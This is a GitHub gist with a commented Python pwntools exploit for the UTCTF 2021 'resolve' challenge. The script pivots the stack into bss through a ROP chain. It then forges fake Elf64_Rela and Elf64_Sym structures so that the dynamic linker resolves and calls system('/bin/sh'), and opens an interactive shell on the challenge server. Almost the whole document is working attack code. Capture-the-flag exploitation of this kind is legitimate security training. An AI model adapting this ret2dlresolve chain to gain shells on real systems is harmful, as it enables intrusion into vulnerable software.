Skip to content

Instantly share code, notes, and snippets.

@hugsy
Created March 15, 2021 03:04
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save hugsy/9926e001f63a1b6a7344671b90e37a44 to your computer and use it in GitHub Desktop.
Save hugsy/9926e001f63a1b6a7344671b90e37a44 to your computer and use it in GitHub Desktop.
utctf 2021 - resolve
#!/usr/bin/env python3.9
#
# This exploits `ret2dlresolve` technique: the idea behind this attack is
# to forge fake structures to force the LD runtime resolver to resolve and
# execute `system('/bin/sh')`.
#
# To do that, we forge 2 objects, the Rela (holding the symbol offset) and
# the Sym (holding the symbol information).
#
# Note: if using this attack, offsets must be calculated precisely and remember
# to re-align the stack to a 0x10 byte boundary.
#
# Useful links:
# - https://ypl.coffee/dl-resolve/
# - https://www.lazenca.net/download/attachments/19300744/1539946097550.jpg
#
import os, sys
from pwn import *
context.log_level = "debug"
context.os = "linux"
context.arch = "amd64"
context.terminal = ["tmux", "split-window", "-v", "-p 75"]
LOCAL = True
TARGET_ELF = os.path.realpath("./resolve")
elf = ELF(TARGET_ELF)
def attach(r):
if LOCAL:
bkps = [
# 0x0000000000401158,
]
cmds = [
# "bp do_system",
"continue",
]
gdb.attach(r, '\n'.join(["break *{:#x}".format(x) for x in bkps] + cmds))
return
def exploit(r):
# Choosing arbitrary rw locations.
# Note: that _dl_runtime_resolve() does require quite a bit of stack space
# (sometimes 0x300B but in some cases 0x900B), make sure not to have your
# stack pointer to close to a page border
rw1 = 0x0404000+0x310
rw2 = 0x0404000+0xf00
# We want a predictable stack layout, so we ROP into `gets`
# to read and store input we send directly at known locations in the
# bss. This will be useful for us to have a clean layout and addresses
# calculation
info("stack pivot to bss...")
p1 = flat(
b"A"*0x8,
p64(rw2-8), # saved rbp
# populate rw1
p64(0x00000000004011c3), # pop rdi; ret
p64(rw1),
p64(elf.plt.gets),
# populate rw2
p64(0x00000000004011c3), # pop rdi; ret
p64(rw2),
p64(elf.plt.gets),
# pivot stack
p64(0x0000000000401158), # leave; ret;
)
r.sendline(p1)
# Here we succesfully pivoted the stack. We need to mimic 2 objects:
# - the Rela that holds where to write the result resolution, and the symbol
# offset
# struct Elf64_Rela {
# Elf64_Addr r_offset; /* Location at which to apply the action */
# Elf64_Xword r_info; /* index and type of relocation */
# Elf64_Sxword r_addend; // Compute value for relocatable field by adding this.
# };
# - the Sym struct that holds the symbol information
# struct Elf64_Sym {
# Elf64_Word st_name; // Symbol name (index into string table)
# unsigned char st_info; // Symbol's type and binding attributes
# unsigned char st_other; // Must be zero; reserved
# Elf64_Half st_shndx; // Which section (header tbl index) it's defined in
# Elf64_Addr st_value; // Value or address associated with the symbol
# Elf64_Xword st_size; // Size of the symbol
# }
PLT = elf.get_section_by_name(".plt")["sh_addr"]
RELA_PLT = elf.get_section_by_name(".rela.plt")["sh_addr"]
SYMTAB = elf.get_section_by_name(".dynsym")["sh_addr"]
STRTAB = elf.get_section_by_name(".dynstr")["sh_addr"]
R_X86_64_JUMP_SLOT = 0x07 # https://elixir.bootlin.com/linux/latest/source/arch/x86/include/asm/elf.h#L54
STB_GLOBAL = 0x01 # https://elixir.bootlin.com/linux/latest/source/include/uapi/linux/elf.h#L121
STT_FUNC = 0x02 # https://elixir.bootlin.com/linux/latest/source/include/uapi/linux/elf.h#L126
log.info(f"PLT: {PLT:#x}")
log.info(f"RELA_PLT: {RELA_PLT:#x}")
log.info(f"STRTAB: {STRTAB:#x}")
log.info(f"SYMTAB: {SYMTAB:#x}")
# _dl_link_map is always at GOT[1]
# _dl_runtime_resolve is right after
_dl_runtime_resolve = PLT # this trampolines us to `push *_dl_link_map; jmp _dl_runtime_resolve`
__sizeof_rel = 0x18
__sizeof_sym = 0x18
__rel_offset = (rw1 - RELA_PLT)//__sizeof_rel
__resolved_address = rw1-8 # this can be any writable location, we don't care because we don't expect to return from `system()`
info(f"using relative offset RELA_PLT[{__rel_offset:#x}] to overwrite {__resolved_address:x}")
info(f"write the ret2dlresolve Rela & Sym structures at {rw1:#x}")
p2 = flat(
# Elf64_Rela
p64( __resolved_address ), # r_offset
p64( (((rw1+__sizeof_rel+0x10 - SYMTAB)//__sizeof_sym) << 32)|R_X86_64_JUMP_SLOT ), # r_info - offset of fake Elf64_Sym
p64( 0 ), # r_addend
b"PADDING\0", # padding for alignment
b"PADDING\0", # padding for alignment
# Elf64_Sym
p32(rw1 + __sizeof_rel + __sizeof_sym + 0x10 - STRTAB), # st_name; // Symbol name (offset from the string table)
p8((STB_GLOBAL << 4) | STT_FUNC), # st_info; // Symbol's type and binding attributes
p8(0), # st_other; // Must be zero; reserved
p16(0), # st_shndx; // Which section (header tbl index) it's defined in
p64(0), # st_value; // Value or address associated with the symbol
p64(0), # st_size; // Size of the symbol
b"system\0"
)
r.sendline(p2)
# Here the resolve fake structures are in memory, we need to call the resolver
# with the relative offset we calculated earlier to find - and execute - system()
info(f"trigger ret2dlresolve at {rw2:#x} to call system()")
binsh = rw2 + 8*5
p3 = flat(
p64(0x000000000040101a), # ret - realign stack on 0x10B
p64(0x00000000004011c3), # pop rdi; ret
p64(binsh),
p64(_dl_runtime_resolve), # _dl_runtime_resolve(_dl_link_map, our_calculated_offset)
p64(__rel_offset),
b"/bin/sh\0",
)
r.sendline(p3)
r.interactive()
return 0
if __name__ == "__main__":
if len(sys.argv)>=2:
LOCAL = False
r = remote("pwn.utctf.live", 5435)
else:
r = process([TARGET_ELF, ])
attach(r)
exit(exploit(r))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment